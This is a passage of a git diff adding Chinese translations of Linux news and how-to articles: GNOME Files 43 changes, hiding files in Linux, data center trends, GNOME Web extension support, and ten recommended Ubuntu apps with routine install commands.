+当你缩小文件管理器窗口的大小时,也处理的不是很好。你看不到文件扩展名的细节,而且列对变化没有反应。 + +![][7] + +在 GNOME 文件管理器 43 alpha 版本中,即使你缩小了窗口的大小以获得一个紧凑的视图,你仍然可以看到列,以及如上所示的文件扩展名。 + +### 5、新的文件上下文菜单 + +![][8] + +作为对 2022 年 GSoC(谷歌编程之夏)的贡献的一部分,一位开发者正专注于改善新文档功能的可发现性。 + +当你将某些文件添加到模板Templates目录中时,你可以在执行右键单击时在上下文菜单中找到这个 “新文档New Document” 选项。 + +在即将到来的更新中,这个选项将是开箱即用。即,更加易于使用。 + +另外,开发人员正在想办法改进添加模板的过程。你可以这篇在 [博文][9] 中更多了解他们的工作。 + +### 6、当你给一个文件加星时的动画 + +![][10] + +当你点击列表项右侧的星形图标时,你可以发现它在移动,让你知道你与该选项进行了互动。 + +### 总结 + +当然,我所提到的一切都处于开发阶段(alpha 版本)。在我们等待 beta 版本的时候,我们应该能清楚地了解到文件管理器的更多功能,以及事情是如何改进的。 + +你对 GNOME 43 有什么期待?请在下面的评论中告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-files-43/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/changes-in-nautilus-in-gnome-43.jpg +[2]: https://news.itsfoss.com/gnome-web-extensions-dev/ +[3]: https://gitlab.gnome.org/GNOME/nautilus/-/commit/6708861ed174e2b2423df0500df9987cdaf2adc0 +[4]: https://news.itsfoss.com/wp-content/uploads/2022/06/nautilus-drag-select-alpha.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/06/file-search-before.jpg +[6]: https://news.itsfoss.com/wp-content/uploads/2022/06/file-search-after.jpg +[7]: https://news.itsfoss.com/wp-content/uploads/2022/06/compact-view-files-1024x482.jpg +[8]: https://news.itsfoss.com/wp-content/uploads/2022/06/new-document-file-manager.jpg +[9]: https://ignapk.blogspot.com/2022/06/gsoc-2022-first-update-planning.html +[10]: https://news.itsfoss.com/wp-content/uploads/2022/06/animation0file.webm diff --git a/published/202207/20220630 Hide Files and Folders in Linux Without Renaming Them.md b/published/202207/20220630 Hide Files and Folders in Linux Without Renaming Them.md new file mode 100644 index 0000000000..496b2205d8 --- /dev/null +++ b/published/202207/20220630 Hide Files and Folders in Linux Without Renaming Them.md @@ -0,0 +1,137 @@ +[#]: subject: "Hide Files and Folders in Linux Without Renaming Them" +[#]: via: "https://itsfoss.com/hide-files-folders-linux/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14806-1.html" + +在 Linux 中隐藏文件和文件夹的那些事 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/08/142700yijbiw44bqfpfs4j.jpg) + +> 这篇面向初学者的文章探讨了在 Linux 中如何在普通视图中隐藏文件和文件夹。图形用户界面和命令行方法都有所涉猎。 + +有时你需要在 Linux 中隐藏文件。 + +不要误会,我不是指那些你不想让你的家人看到的“特殊文件”。尽管你可以隐藏这些特殊文件,但更好的办法还是用密码锁定它们以提供额外的保护。 + +回到隐藏文件的话题。**名称以 `.` 开头的任何文件或文件夹在 Linux 中是“隐藏的”。** + +Linux 有很多这样的文件和文件夹,在普通视图中它们是隐藏的。这些主要是系统和程序所需的配置文件。 + +用户通常不需要理会它们,因此它们在普通视图中是隐藏的,这样一来你就不会被许多看起来很奇怪的而不是你所创建的文件所淹没。 + +下图展示了我的主目录中隐藏的文件和文件夹。 + +![linux 普通视图][1] + +![linux 显示隐藏文件][2] + +如果你使用的是桌面版 Linux,你可以通过在文件管理器中按 `Ctrl+H` 快捷键来轻松 [查看隐藏文件][3]。在终端中,你可以使用 `ls -a` 命令显示隐藏文件和普通文件。 + +那么,如何在 Linux 中创建隐藏文件呢?你只需用一个在命名的时候加一个 `.` 前缀。就是这样。 + +### 在桌面版 Linux 里创建隐藏文件和文件夹(GUI 方法) + +如果你使用的是文件管理器,在文件或文件夹上右键并选择重命名选项。现在你所要做的就是在文件名的开头添加一个 `.`。 + +当你以这种方式创建隐藏文件时,GNOME 的 Nautilus 文件管理器也会显示一个警告。 + +![ubuntu linux 隐藏文件][4] + +你可以以相同的方式隐藏文件夹及其所有内容。 + +你可以按 `Ctrl+H` 键来显示隐藏文件。哦!我是多么的喜欢 [Ubuntu 中的键盘快捷键][5] 和我使用的任何其他程序或操作系统! + +要使隐藏文件变回普通文件,只需再次重命名这些文件删掉文件名前缀的 `.` 即可。 + +### 在 Linux 终端创建隐藏文件和文件夹(CLI 方法) + +如果你热衷于终端,你可以 [使用 mv 命令][6] 重命名文件。你只需在原始文件名的开头添加一个 `.`。 + +``` +mv filename .filename +``` + +你可以使用以下命令显示隐藏文件: + +``` +ls -la +``` + +你也可以使用 `ls -lA`。这条命令不会显示点文件(`.` 和 `..`)。 + +### 额外提示:用非重命名的方法隐藏文件和文件夹(仅适用于 GUI) + +你刚刚学了在 Linux 中隐藏文件。问题是你必须重命名文件,而这种操作不适用于所有的场合。 + +例如,在 Ubuntu 中,你会在目录中看到一个名为 `snap` 的文件夹。你不会使用它,但如果重命名它,你的 Snap 应用程序将无法按预期工作。类似的情况是,在 Ubuntu 22.04(安装有 Snap 版本的 Firefox)的 `Downloads` 目录下有一个 `firefox.tmp` 文件夹。 + +有一个巧妙的技巧可以在 Linux 桌面中使用。它应该可以在 Nemo、Thunar、Dolphin 等各种文件管理器下工作,但我不能保证。它确实适用于 GNOME 的 Nautilus 文件管理器。 + +因此,你在这里所做的是在你想要隐藏的文件或文件所在的目录中创建一个名为 `.hidden` 的新文件。 + +![在 Linux 中隐藏文件的另一种方法][7] + +按 `Ctrl+H` 显示隐藏文件并 **打开 `.hidden` 文件** 进行编辑。**在单独的行中添加文件或文件夹的名称**。注意不能使用绝对或相对路径。你想要隐藏的 **文件和文件夹应与此特殊 `.hidden` 文件** 位于同一路径下。 + +这是我以不重命名的方式隐藏 `cpufetch` 目录和 `pcloud` 文件的示例: + +``` +pcloud +cpufetch +``` + +按 `Ctrl+H` 以再次隐藏 `.hidden` 文件。 + +现在,**关闭你的文件资源管理器并重新启动它**。你将不会再看到 `.hidden` 文件中提到的文件和目录。 + +如果你想再次查看它们,请按 `Ctrl+H` 键。 + +如果你不想再隐藏文件,请从 `.hidden` 文件中删除其名称或完全删除 `.hidden` 文件。 + +### 额外琐事:隐藏文件“功能”实际上是一个 bug + +你知道吗?在文件名的开头添加一个 `.` 来隐藏文件的“功能” [实际上是一个 bug][8]? + +在早期的 UNIX 时代,当创建文件系统时,添加了 `.`(当前目录)和 `..`(父目录)文件以方便导航。 + +由于这些特殊的 `.` 和 `..` 文件中没有实际数据,因此给 `ls` 命令添加了一个新的“功能”:该功能是检查文件名的第一个字符,如果它是一个点(`.`),则不再使用 `ls` 命令显示它。 + +这对隐藏 `.` 和 `..` 文件有效,但它引入了一个 “bug”:`ls` 命令的输出会隐藏任何文件名以 `.` 开头的文件。 + +这个 bug 变成了一个功能,因为程序员喜欢它来“隐藏”他们的配置文件。`ls` 命令可能是后来修改添加了一个显示隐藏点文件的选项。 + +Linux 遵循相同的约定,因为 Linux 是以 UNIX 为原型开发的。 + +### 结论 + +我讨论了如何从普通视图中创建隐藏文件。如果要创建让其他人无法访问的机密文件或文件夹,则应对其进行加密。我曾经写过 [在 Linux 中使用密码锁定文件夹][9]。这是一篇有点儿旧的文章,但它可能仍然有效。 + +我希望你喜欢这个简单的话题并学到新的东西。发布你的评论让我知道你的想法吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/hide-files-folders-linux/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/06/linux-normal-view.png +[2]: https://itsfoss.com/wp-content/uploads/2022/06/linux-show-hiiden-files.png +[3]: https://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ +[4]: https://itsfoss.com/wp-content/uploads/2022/06/hide-files-ubuntu-linux.png +[5]: https://itsfoss.com/ubuntu-shortcuts/ +[6]: https://linuxhandbook.com/mv-command/ +[7]: https://itsfoss.com/wp-content/uploads/2022/06/alternate-way-of-hiding-files-in-linux.png +[8]: https://linux-audit.com/linux-history-how-dot-files-became-hidden-files/ +[9]: https://itsfoss.com/password-protect-folder-linux/ diff --git a/published/202207/20220630 The Top Trends Changing The Data Center Industry.md b/published/202207/20220630 The Top Trends Changing The Data Center Industry.md new file mode 100644 index 0000000000..8cc699c044 --- /dev/null +++ b/published/202207/20220630 The Top Trends Changing The Data Center Industry.md @@ -0,0 +1,52 @@ +[#]: subject: "The Top Trends Changing The Data Center Industry" +[#]: via: "https://www.opensourceforu.com/2022/06/top-trends-changing-data-center-industry/" +[#]: author: "abhimanyu rathore https://www.opensourceforu.com/author/abhimanyu-rathore/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14805-1.html" + +改变数据中心行业的主要趋势 +====== + +![Data center][1] + +大流行加快了印度全国数字化转型的速度,这需要对数据中心进行更多投资。由于快速的数字化和云采用,印度数据中心市场的容量预计在未来几年将翻一番。据报道,2021 年印度数据中心市场规模为 43.5 亿美元,到 2027 年将达到 100.9 亿美元,2022-2027 年的复合年增长率为 15.07%。 + +现在,出现的一个关键问题是印度数据中心行业的未来是什么?哪些新趋势将塑造其未来?下面提到的是将对印度数据中心行业产生重大影响的主要趋势。 + +### 数据本地化 + +数据本地化就意味着限制数据从一个国家流向另一个国家。印度政府已发布指导方针,强调需要在该国境内存储印度用户的数据。数据本地化使得收集关键消费者数据的公司必须在本地数据中心存储和处理这些数据。这给本地数据中心带来了巨大的增长。此外,印度的成本优势和熟练劳动力的便利性使其成为亚洲数据中心的重要枢纽。 + +### 可持续数据中心 + +众所周知,数据中心消耗大量非可再生资源。为了使数据中心可持续发展,公司重新设计了他们的设施,通过利用人工智能、机器学习和云等新兴技术来大大降低电力和水的消耗。云数据中心使用更少的服务器,从而减少碳排放。它们通常位于更靠近为其供电的设施,以防止在长距离传输电能的过程中出现大量损失。此外,公共云数据中心可用于存储来自多个业务的数据。本地数据中心在存储大量数据时存在容量限制,从而导致资源的非最佳使用。因此,云数据中心通过使企业能够消耗更少的服务器和更少的电力并减少其在此过程中的碳排放,正在彻底改变行业。 + +### 边缘连接 + +边缘数据中心是靠近网络边缘的小型数据中心。它们通常连接到更大的中央数据中心或多个数据中心。通过处理更接近最终用户的数据和服务,边缘计算允许组织减少延迟并改善客户体验。这样的数据中心对于需要实时数据处理的行业非常有利,例如自动驾驶汽车、远程医疗、电信、OTT 平台和智能可穿戴设备。 + +### 超大规模数据中心 + +传统上,数据中心是一个简单的机架网络,带有存储单元和一组管理工具。它具有易于理解的架构。然而,随着数字化转型接管了企业界,组织开始生成大量数据。传统的存储单元和工具不足以处理大量涌入的数据,因此需要更大的容量和复杂的设施。此外,传统数据中心无法扩大或缩小其能力以适应需求波动,从而导致资源浪费。这导致了超大规模作为解决方案的演变。 + +超大规模数据中心是大规模的关键业务设施,旨在通过将大量高速协同工作的服务器聚集在一起,有效地支持强大且可扩展的应用。这种能力使数据中心能够水平和垂直扩展。 + +总之,数据中心行业正在发展,新趋势将不断涌现。借助新时代的颠覆性技术,数据中心行业可以构建环保节能的数据中心。人工智能、边缘计算和物联网等技术可用于最大限度地提高能源效率并最大限度地减少对环境的影响。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/top-trends-changing-data-center-industry/ + +作者:[abhimanyu rathore][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/abhimanyu-rathore/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2016/03/Data-center.jpg diff --git a/published/202207/20220630 With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux.md b/published/202207/20220630 With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux.md new file mode 100644 index 0000000000..202daca0ba --- /dev/null +++ b/published/202207/20220630 With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux.md @@ -0,0 +1,89 @@ +[#]: subject: "With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux" +[#]: via: "https://news.itsfoss.com/gnome-web-extensions-dev/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14797-1.html" + +有了扩展,GNOME Web 正逐渐成为 Linux 桌面上一个有吸引力的选择 +====== + +> GNOME Web 正在打磨成一个完美的 Linux 浏览器。你认同吗? + +![Gnome Web 浏览器][1] + +GNOME Web(Epiphany)是 [可供 Linux 用户使用的最佳浏览器][2] 之一。 + +它提供了简约且独特的用户体验。 + +不幸的是,这种独特性并没有激励用户把它作为主力网页浏览器。 + +但是,看起来这种情况很快就会改变…… + +根据其中一位开发者(Patrick,网名 TingPing)透露,GNOME Web 终于添加了对 WebExtensions 的支持。 + +它将会是 GNOME 43 新功能的一部分。 + +### 带有 WebExtensions 的 GNOME Web + +![][3] + +一个浏览器,外观简约,还支持扩展,夫复何求啊! + +我不知道你怎么想,但我对于 GNOME Web 不支持扩展这件事,一直耿耿于怀。 + +所以,这个消息真的让我很兴奋! + +目前,这只是对 **Epiphany 43.alpha** 版本的实验性支持。因此,你只能使用 GNOME Web 的 beta/alpha 构建来测试它。 + +开发者提到: + +> Epiphany 43.alpha 支持上述的基本结构。我们目前正在根据 Firefox 的 ManifestV2 API 来建模行为,同时也尽可能与 Chrome 扩展程序保持兼容。未来,我们计划在保留 V2 的同时,支持 ManifestV3。 + +你必须在终端中显式启用扩展支持,然后下载、添加扩展的 **.xpi** 文件,以安装浏览器扩展。 + +你需要访问 [Mozilla 的 Firefox 附加组件门户网站][4] 来获得扩展程序。 + +![][5] + +你可以安装 Epiphany(GNOME Web)的最新开发版本,并使用以下命令启用扩展: + +``` +flatpak remote-add --if-not-exists gnome-nightly https://nightly.gnome.org/gnome-nightly.flatpakrepo +flatpak install gnome-nightly org.gnome.Epiphany.Devel +flatpak run --command=gsettings org.gnome.Epiphany.Devel set org.gnome.Epiphany.web:/org/gnome/epiphany/web/ enable-webextensions true +``` + +请注意,它仍在活跃开发中,可能无法按预期工作。在第一次尝试时,你可能需要密切关注终端是否有错误,如果有的话,要先解决它才行。 + +如果你想了解更多技术细节,你可以阅读 [TingPing 的博文][6]。 + +### 你的下一个主力浏览器? + +与 Linux 上的基于 Firefox 和 Chrome/Chromium 的浏览器相比,GNOME Web 是一个的完全独特的替代品。(LCTT 译注:GNOME Web 基于 WebKit 引擎。) + +那么,随着即将推出的扩展支持,你愿意尝试将 GNOME Web 作为你的主力浏览器吗? + +*你如何看待 GNOME Web(或 Epiphany)中的改进呢?请在下方评论区中告诉我们吧!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-web-extensions-dev/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/gnome-web-adds-extensions-support.jpg +[2]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/06/gnome-web-extensions.png +[4]: https://addons.mozilla.org/en-US/firefox/extensions/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/06/gnome-web-extensions-1.png +[6]: https://blog.tingping.se/2022/06/29/WebExtensions-Epiphany.html diff --git a/published/202207/20220703 10 Necessary Ubuntu Apps For Everyone [Part 3].md b/published/202207/20220703 10 Necessary Ubuntu Apps For Everyone [Part 3].md new file mode 100644 index 0000000000..bfe1119295 --- /dev/null +++ b/published/202207/20220703 10 Necessary Ubuntu Apps For Everyone [Part 3].md @@ -0,0 +1,311 @@ +[#]: subject: "10 Necessary Ubuntu Apps For Everyone [Part 3]" +[#]: via: "https://www.debugpoint.com/necessary-ubuntu-apps-2022" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14841-1.html" + +10 大必备 Ubuntu 应用:必备篇 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/18/183730r55l353ni64aiiu4.jpg) + +> 本文列出了 2022 年可以用于日常工作的 10 个 Ubuntu 必备应用。 + +我们经常忘记,有成千上万的、可以与同类商业产品相媲美的自由开源应用。此外,若你是 Windows 用户,并考虑完全摆脱 Windows ,你也应该事先了解此类应用程序。 + +因此,在这篇“必备的 Ubuntu 应用”文章中,我们为急需这些信息的 Linux 用户列举了 10 款应用。 + +这是这个系列的第三篇文章,如果你错过了之前的文章,可以通过以下链接阅读: + +* [第一篇][1] +* [第二篇][2] + +### Guake + +你是否想要在处理重要工作时使用快捷键打开一个终端?这款下拉式的终端程序 Guake 能够帮你实现。如果你正忙于写文章、剪辑视频、在你最喜欢的代码编辑器中写代码,并想要快速用终端检查一些东西并返回到工作中,Guake 能够帮助你。只用按 `F12` 终端就会立即出现,再次按 `F12` 它会消失,不用打开或关闭不同的终端。 + +![Guake Running in Ubuntu][3] + +在 Ubuntu 或其他发行版,你可以使用以下命令安装。如需更多下载选项,请访问 [此页面][4]。 + +``` +sudo apt install guake +``` + +浏览以下链接了解 Guake 的更多信息: + +* [主页][5] +* [源码][6] + +### Safe Eyes + +眼睛很宝贵,如果你是长时间使用平板或电脑的用户,你应该保护好眼睛。这里有一款可以帮助你保护眼睛的应用 —— Safe Eyes ,能够帮你减少并预防用眼过度。 + +Safe Eyes 这款应用会在你的工作期间为你提供“顺时针转动眼睛 10 秒”等活动的弹出式指令。 + +我认为它是每个人都应该尝试使用的一款 Ubuntu 应用。 + +![Safe Eyes][7] + +通过 PPA 可以很容易在 Ubuntu 上安装 Safe Eyes 。你可以打开终端并使用以下命令安装这款应用。 + +``` +sudo add-apt-repository ppa:slgobinath/safeeyessudo apt updatesudo apt install safeeyes +``` + +更多下载选项,请访问 [此页面][8]。 + +浏览以下链接了解 Safe Eyes 的更多信息: + +* [主页][9] +* [源码][10] + +### Tusk + +笔记应用有很多。虽然,包括 Ubuntu 在内的所有 Linux 发行版,都带有一个基础文本编辑器,但是想要高级的笔记功能,你需要一个专业应用。 + +Tusk 是适用于 Ubuntu/Linux 的新款印象笔记式桌面应用程序。它带有大量主题,例如浅色、深褐色和深色。它具有以下功能: + +* 本地和全局自定义快捷键 +* 更新通知 +* 基于 Electron 的跨平台应用 +* 可伸缩的界面(放大和缩小) +* 浅色、深褐色和深色主题 +* 聚焦模式和自动夜间模式 +* 将笔记导出为 HTML、PDF 和 Markdown 格式 + +![Tusk][11] + +该应用有用于 Linux 发行版的 AppImage 、Deb 和 RPM 文件等格式。你可以从以下链接下载 deb 文件并运行它以在 Ubuntu 中安装它。有关其他下载选项,请访问 [此页面][12]。 + +> **[下载 Tusk][13]** + +浏览以下链接了解 Tusk 的更多信息: + +* [主页][14] +* [源码][15] + +### Krita + +如果你是一个艺术家并想在 Linux 上学习绘画,那你一定要用 Krita 。Krita 拥有众多绘画工具,包含诸如压感式绘画等高级模式。此外,你也可以在触屏设备上使 Krita 。它包含一些独特的功能: + +* 自定义工具栏和停靠栏 +* 将工作区另存为文件 +* 深浅主题 +* 内置矢量引擎,海量画笔 +* 带稳定功能的画笔引擎 +* 支持 PhotoShop 文件(PSD) +* 支持全色系 +* 支持 Python 脚本扩展 + +![Krita Drawing Program][16] + +在所有的 Linux 发行版的官方仓库都有 Krita ,所以很容易安装。在 Ubuntu 中,你可以在应用商店里搜索并安装。如果你更喜欢使用终端安装,可以运行如下指令: + +``` +sudo apt install krita +``` + +浏览以下链接了解 Krita 的更多信息: + +* [主页][17] +* [学习文件][18] +* [源码][19] + +### Foliate + +当你想到电子书阅读器时,总是会想到 Calibre 。不过还有一款杰出的 GNOME 应用 —— Foliate 。Foliate 是用 GTK 编写的新颖的电子书阅读器,它带来了令人赞叹的功能,例如自定义页面的颜色、亮度、多栏支持等等。此外,它还支持 Epub、Amazon Kindle、FictionBook、CBA 和 Mobipocket 格式,让你完全控制自己的收藏。 + +如果你想要一个漂亮而优美的电子书阅读器,非它莫属。 + +![Foliate][20] + +使用 Linux 发行版的 Flatpak 安装 Foliate 很容易。首先,你需要 [设置 Flatpak][21] 并单击下方链接进行安装。 + +> **[下载 Foliate][22]** + +浏览以下链接了解 Foliate 的更多信息: + +* [主页][23] +* [源码][24] + +### Bitwarden + +平均而言,每个人至少有十几个在线账号和密码。你越是精通技术,那么你管理密码的数量就会越多。使用密码管理器能够更好的保护你的数据以及密码。那么接下来这款应用,Bitwarden,是当今最好的管理密码的应用。 + +Bitwarden 是一款自由开源的密码管理器,能够轻松帮助你生成、存储并保存密码。在 AES-256 加密的支持下,Bitwarden 能够在不同设备,比如手机和平板自动同步密码。 + +![Bitwarden Password Manager desktop client][25] + +你可以从 [此页面][26] 下载可执行安装包文件。此外,如果你打算在你最喜欢的浏览器中使用它,也可以在该页面中获取扩展。 + +浏览以下链接了解 Bitwarden 更多信息: + +* [主页][27] +* [帮助文档][28] + +### Brave Browser + +Brave 是一款基于 Chromium 的以隐私为中心的浏览器。它非常适合希望完全控制其在线活动的用户。Brave 带有内置广告拦截器、隐身浏览、VPN 和 Tor 模式,可实现更多匿名浏览。 + +最近,Brave 还推出了电子邮件服务,你可以直接从浏览器访问邮件。此外,它具备一些 Firefox 、 Chrome 以及 Safari 所没有的优点。 + +![Brave Browser][29] + +在 Ubuntu 终端上安装这款浏览器需要额外的命令。你可以 [在此][30] 找到相信的下载教程。 + +更多详细信息,请浏览官方 [主页][31] 。 + +### Mailspring + +如果你在找一款好用并高效的 Linux 桌面电子邮件客户端,并且想要它支持所有的电子邮件协议,那你应该试试 Mailspring 。 + +Mailspring 支持多个账户、统一邮箱,并且支持触控和手势。它还支持微软 Office 365 ,这是此电子邮件客户端在 Linux 系统中的最大优势之一。此外,它具有快速检索、翻译、取消发送(邮件召回)以及内置的拼写检查等特征,使得它成为最好的邮件客户端之一。 + +它还有一个付费版本,只需要每月付出少量费用,即可得到更多功能,例如创建公司简介、链接跟踪、阅读回执、模板和洞察力功能。专业版中的洞察力功能提供了你在一天中何时收到更多电子邮件的详细信息。 + +![Mailspring Email Client][32] + +这款应用可以通过 Snap 和 Deb 文件在 Ubuntu 或其他相关 Linux 上安装。 + +访问官方 [Snapcraft 页面][33] 获取 Snap 包并安装。 + +点击 [这里][33a] 下载 deb 包。下载后,你可以双击 deb 文件通过 Ubuntu 应用商店程序安装。 + +浏览以下链接了解 Mailspring 更多信息: + +* [主页][34] +* [其他下载选项][35](Fedora Linux、Windows 以及 macOS) + +### Blender + +我肯定你听说过 Blender 。 Blender 是一款自由开源的专业级图形设计软件,几乎可以完成你的图形项目的一切需求。 + +![Blender Video Editor][36] + +你可以创建动画电影、视觉效果、艺术作品、3D 打印模型、动态图形、交互式 3D 应用程序和计算机游戏。 Blender 的功能包括 3D 建模、UV 展开、贴图、光栅图形编辑、套索和蒙皮、流体和烟雾模拟、粒子模拟、柔体模拟、雕刻、动画、匹配移动、渲染、运动图形、视频编辑和合成。 + +它是一个专业级的应用程序,还是自由开源的。 + +想要在 Ubuntu 中轻松安装,打开应用商店,搜索 Blender,然后点击安装。或者,你也可以打开终端窗口并运行以下命令进行安装。 + +``` +sudo apt install blender +``` + +该软件适用于 Windows、macOS 和其他平台。你可以访问 [官方下载页面][37] 了解更多详情。 + +浏览以下链接了解 Blender 更多信息: + +* [主页][38] +* [详细功能亮点][39] +* [文档][40] + +### Ungoogled Chromium + +如果你想要一个没有谷歌的应用和服务的干净浏览器,你应该试试 Ungoogled Chromium 浏览器。它是一个没有谷歌集成服务的,提供了原装 Chromium 体验的替代品。 + +例如,它去除了代码中的所有预编译二进制文件和所有谷歌集成,并且还禁用了需要手动启用的功能,以获得更好控制。 + +或许一个合适的浏览器,才会有最好的 Chromium 体验。 + +![Ungoogled-Chromium][41] + +使用 Flatpak 安装 Ungoogled Chromium 很容易。首先设置 [Flatpak][42] 然后使用下列命令安装该浏览器: + +``` +flatpak install flathub com.github.Eloston.UngoogledChromium +``` + +浏览 [官方 GitHub 页面][43] 获取该浏览器更多信息。 + +### Tilix + +![Tilix Terminal Window][44] + +必备 Ubuntu 应用程序列表中的最后一个应用程序是 Tilix 。Tilix 是一个基于 GTK 的,平铺式的终端仿真器。它带有自定义标题、以及通知支持(用于命令补完)和透明背景图像支持。此外,Tilix 还允许你在终端窗口中添加自定义图像背景。最后,你可以在一个窗口中并排创建多个终端窗口。 + +这是一个用 GTK 编写的高级终端,你可能会发现它很有用。 + +所有 Linux 发行版上都有它的安装包。在 Ubuntu 或相关发行版,运行以下命令进行安装: + +``` +sudo apt install tilix +``` + +更多信息请浏览 Tilix [主页][45] 。 + +### 结语 + +这是 2022 年 5 篇系列的必备 Ubuntu 应用程序的第 3 篇。我希望你能够在 Ubuntu 或者其他 Linux 发行版上安装,并在你的日常工作中使用这些应用程序。同时,欢迎在下方评论,让我知道你最喜欢哪一款应用。 + +最后,请继续关注本 Ubuntu 应用程序系列的第 4 部分。 + +干杯! + +*一些图片来源:令人尊敬的应用开发人员或团队* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/necessary-ubuntu-apps-2022 + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[2]: https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ +[3]: https://www.debugpoint.com/wp-content/uploads/2018/09/Guake-Running-in-Ubuntu.gif +[4]: https://guake.readthedocs.io/en/latest/user/installing.html#system-wide-installation +[5]: http://guake-project.org/ +[6]: https://github.com/Guake/guake +[7]: https://www.debugpoint.com/wp-content/uploads/2018/09/Safe-Eyes.gif +[8]: https://slgobinath.github.io/SafeEyes/ +[9]: https://slgobinath.github.io/SafeEyes/ +[10]: https://github.com/slgobinath/SafeEyes +[11]: https://www.debugpoint.com/wp-content/uploads/2018/09/Tusk.gif +[12]: https://github.com/klaussinani/tusk/releases/ +[13]: https://github.com/klaussinani/tusk/releases/download/v0.23.0/tusk_0.23.0_amd64.deb +[14]: https://klaussinani.github.io/tusk/ +[15]: https://github.com/klaussinani/tusk +[16]: https://www.debugpoint.com/wp-content/uploads/2022/07/Krita-Drawing-Program.jpg +[17]: https://krita.org/en/ +[18]: https://docs.krita.org/en/ +[19]: https://invent.kde.org/graphics/krita +[20]: https://www.debugpoint.com/wp-content/uploads/2022/07/Foliate.jpg +[21]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[22]: https://dl.flathub.org/repo/appstream/com.github.johnfactotum.Foliate.flatpakref +[23]: https://johnfactotum.github.io/foliate/ +[24]: https://github.com/johnfactotum/foliate +[25]: https://www.debugpoint.com/wp-content/uploads/2022/07/Bitwarden-Password-Manager-desktop-client.jpg +[26]: https://bitwarden.com/download/ +[27]: https://bitwarden.com/help/ +[28]: https://bitwarden.com/help/ +[29]: https://www.debugpoint.com/wp-content/uploads/2022/07/Brave-Browser.jpg +[30]: https://brave.com/linux/#release-channel-installation +[31]: https://brave.com +[32]: https://www.debugpoint.com/wp-content/uploads/2022/07/Mailspring-Email-Client.jpg +[33]: https://snapcraft.io/mailspring +[33a]: https://updates.getmailspring.com/download?platform=linuxDeb +[34]: https://getmailspring.com/ +[35]: https://getmailspring.com/download +[36]: https://www.debugpoint.com/wp-content/uploads/2019/09/Blender-Video-Editor.jpg +[37]: https://www.blender.org/download/ +[38]: https://www.blender.org/ +[39]: https://www.blender.org/features/ +[40]: https://www.blender.org/get-involved/documenters/ +[41]: https://www.debugpoint.com/wp-content/uploads/2022/07/Ungoogled-Chromium.jpg +[42]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[43]: https://github.com/ungoogled-software/ungoogled-chromium#feature-overview +[44]: https://www.debugpoint.com/wp-content/uploads/2022/07/Tilix-Terminal-Window.jpg +[45]: https://gnunn1.github.io/tilix-web/ +[46]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[47]: https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ diff --git a/published/202207/20220704 Darktable 